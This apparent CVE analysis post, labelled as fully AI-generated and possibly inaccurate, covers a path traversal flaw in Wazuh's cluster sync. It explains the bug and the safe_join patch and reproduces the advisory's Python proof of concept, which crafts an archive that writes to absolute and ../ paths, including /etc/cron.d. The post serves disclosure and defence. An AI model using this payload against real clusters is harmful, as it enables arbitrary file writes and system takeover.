Wazuh CVE-2026-30893: Overview of Critical Path Traversal in Cluster Synchronization with PoC and Patch Analysis

A brief summary of CVE-2026-30893, a critical path traversal vulnerability in Wazuh's cluster synchronization routine that enables arbitrary file writes and code execution. Includes proof of concept details and a breakdown of the vendor's patch.

CVE Analysis

10 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-04-29

Wazuh CVE-2026-30893: Overview of Critical Path Traversal in Cluster Synchronization with PoC and Patch Analysis
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A path traversal flaw in Wazuh's cluster synchronization protocol allows an authenticated peer node to write arbitrary files anywhere on the filesystem of other cluster members, turning a single compromised node into a launchpad for cluster wide takeover. With a CVSS score of 9.0 and a public proof of concept available, CVE-2026-30893 represents a serious risk for the large number of organizations relying on Wazuh for their security monitoring infrastructure.

Wazuh is a free and open source platform that unifies Extended Detection and Response (XDR) and Security Information and Event Management (SIEM) capabilities. The vendor reports protecting over 15 million endpoints across more than 100 thousand enterprise users, including Fortune 500 companies. As a security platform that often runs with elevated privileges and sits at the heart of an organization's detection pipeline, vulnerabilities in Wazuh carry outsized consequences.

Technical Information

Root Cause

The vulnerability resides in the decompress_files() function within framework/wazuh/core/cluster/cluster.py. This function handles the extraction of files received during cluster synchronization between Wazuh master and worker nodes. The core issue is straightforward: file paths embedded in the synchronization archive payload are passed directly to Python's os.path.join() without any path containment, normalization, or validation.

Python's os.path.join() has a well documented behavior that is frequently the source of path traversal vulnerabilities: if any component argument is an absolute path, all previous components are silently discarded. This means a payload containing a path like /etc/cron.d/backdoor causes os.path.join(base_dir, "/etc/cron.d/backdoor") to return /etc/cron.d/backdoor, completely ignoring the intended base directory.

Attack Flow

The Wazuh cluster protocol uses a custom archive format for synchronizing files between nodes. This archive embeds file paths and their compressed contents, separated by specific delimiters (|@@//@@| between files, |//@@//| between a file's path and its content). During normal operations, the decompress_files() function is invoked when processing worker integrity metadata, extra valid files from workers, and other synchronization payloads.

An attacker who has authenticated as a cluster peer (which requires possession of the cluster key) can craft a malicious synchronization archive with two types of path manipulation:

  1. Absolute path injection: The attacker embeds an absolute path such as /etc/cron.d/wazuh_exploit as the filename in the archive. When os.path.join() encounters this absolute path, it discards the base extraction directory entirely and writes directly to the specified location.

  2. Relative directory traversal: The attacker uses sequences like ../../../../tmp/PWNED_TRAVERSAL.txt to escape the intended extraction directory by traversing up the directory tree.

Both variants exploit the same underlying issue: the decompress_files() function trusts the file paths provided by the sending peer without verification.

Impact by Execution Context

The severity of exploitation depends on the privilege level of the Wazuh cluster daemon:

Default installation (wazuh user): An attacker can write to any path writable by the wazuh user. This includes the ability to overwrite Python modules in the /var/ossec/wodles/ directory, which are loaded by Wazuh components. Overwriting these modules achieves code execution within the Wazuh service context.

Elevated context (root user): In deployments where the cluster daemon runs as root, which is common in Docker environments, the attacker gains the ability to write to any location on the filesystem. This enables full system compromise through writes to /etc/cron.d/ for persistent command execution, /root/.ssh/authorized_keys for SSH access, or any other sensitive system path.

Proof of Concept

A complete proof of concept is provided directly within the GitHub Security Advisory GHSA-m8rw-v4f6-8787. The script constructs a malicious cluster sync payload demonstrating both exploitation variants and then invokes the actual vulnerable decompress_files() function:

#!/usr/bin/env python3 import os import zlib FILE_SEP = '|@@//@@|' PATH_SEP = '|//@@//|' print("Step 1: Creating malicious cluster sync payload") exploit_content = b'PWNED BY PATH TRAVERSAL' cron_payload = b'* * * * * root echo EXPLOITED >> /tmp/cron_proof\n' payloads = [] payloads.append(b'files_metadata.json' + PATH_SEP.encode() + zlib.compress(b'{}')) payloads.append(b'/tmp/PWNED_ABSOLUTE.txt' + PATH_SEP.encode() + zlib.compress(exploit_content)) payloads.append(b'../../../../tmp/PWNED_TRAVERSAL.txt' + PATH_SEP.encode() + zlib.compress(exploit_content)) payloads.append(b'/etc/cron.d/wazuh_exploit' + PATH_SEP.encode() + zlib.compress(cron_payload)) archive = FILE_SEP.encode().join(payloads) with open('/tmp/malicious.zip', 'wb') as f: f.write(archive) print("Step 2: Invoking actual Wazuh decompress_files() function") from wazuh.core.cluster.cluster import decompress_files result = decompress_files('/tmp/malicious.zip') print("Step 3: Verifying exploitation") for target in ['/tmp/PWNED_ABSOLUTE.txt', '/tmp/PWNED_TRAVERSAL.txt', '/etc/cron.d/wazuh_exploit']: if os.path.exists(target): print(f"[EXPLOITED] {target}")

Reproduction steps from the advisory:

  1. Start a Wazuh 4.14.2 (or any affected version from 4.4.0 up to but not including 4.14.4) manager environment.
  2. Copy the PoC script into the container.
  3. Run with Wazuh's embedded Python: /var/ossec/framework/python/bin/python3 /tmp/poc_complete.py
  4. Observe files created at /tmp/PWNED_ABSOLUTE.txt, /tmp/PWNED_TRAVERSAL.txt, and /etc/cron.d/wazuh_exploit.

The payload includes a cron job entry that, when written to /etc/cron.d/ on a root context deployment, would execute arbitrary commands every minute, demonstrating the path from arbitrary file write to persistent system compromise.

Patch Information

The Wazuh team addressed CVE-2026-30893 via Pull Request #34464 ("Improve cluster file sync path handling"), merged on February 12, 2026 and shipped in Wazuh v4.14.4, released on March 17, 2026.

Rather than adding ad hoc path checks at every call site, the developers introduced a centralized safe_join() utility function in framework/wazuh/core/cluster/utils.py:

@lru_cache() def safe_join(base_path: str, *paths: str) -> str: safe_paths = [p.lstrip(os.sep).lstrip("/") for p in paths] base = os.path.normpath(base_path) final_path = os.path.normpath(os.path.join(base, *safe_paths)) if os.path.commonpath([base, final_path]) != base: raise WazuhInternalError(3003, extra_message=f"unsafe path '{final_path}'") return final_path

This function applies three defensive layers:

  1. Absolute path neutralization: p.lstrip(os.sep).lstrip("/") strips leading path separators from each component, defeating the absolute path injection variant where os.path.join() would otherwise discard the base directory entirely.

  2. Path normalization: Both the base and the resulting joined path are run through os.path.normpath(), which resolves .., ., and redundant separators into a canonical form. This ensures traversal sequences like sub/../../etc/passwd are collapsed before the containment check.

  3. Containment verification: os.path.commonpath([base, final_path]) is compared against the base. If the final resolved path has escaped the intended directory tree, commonpath returns a parent of base, the check fails, and a WazuhInternalError(3003) is raised.

The result is cached via @lru_cache() for performance during bulk file synchronization operations.

The fix was applied systematically across every location where sync file paths are resolved:

  • cluster.py in decompress_files() (the primary vulnerable function): os.path.join(decompress_dir, filepath.decode()) was replaced with safe_join(decompress_dir, filepath.decode())
  • master.py in process_files_from_worker(): Four separate os.path.join() calls were replaced with safe_join()
  • worker.py in overwrite_or_create_files(): Six os.path.join() calls were replaced with safe_join()

A new error code (3003) was added to framework/wazuh/core/exception.py with the message "Error during file handling" to surface path containment violations. Comprehensive unit tests were added using parametrized pytest cases that validate safe_join correctly allows legitimate sub paths (e.g., sub/file.txt, ./file.txt) while raising WazuhInternalError for traversal attempts (../, ../../etc/passwd, and multi component traversal).

Affected Systems and Versions

The vulnerability affects Wazuh versions 4.4.0 through 4.14.3 (inclusive). Any Wazuh cluster deployment running a version within this range where cluster synchronization is active between master and worker nodes is vulnerable.

Deployments running the cluster daemon with elevated privileges (root), which is the default in Docker based deployments, face the highest risk as exploitation enables full system compromise rather than being limited to the Wazuh service context.

The fix is available in Wazuh version 4.14.4 and later.

Vendor Security History

Wazuh maintains an active security advisory program and encourages private vulnerability disclosure. The release of version 4.14.4 to address this flaw demonstrates responsiveness to critical issues. The open source nature of the platform allows for transparent auditing of both vulnerabilities and their fixes, and the patch for this CVE shows a mature approach: introducing a centralized safe path utility rather than point fixes, accompanied by comprehensive test coverage.

References

Detect & fix
what others miss

Security magnifying glass visualization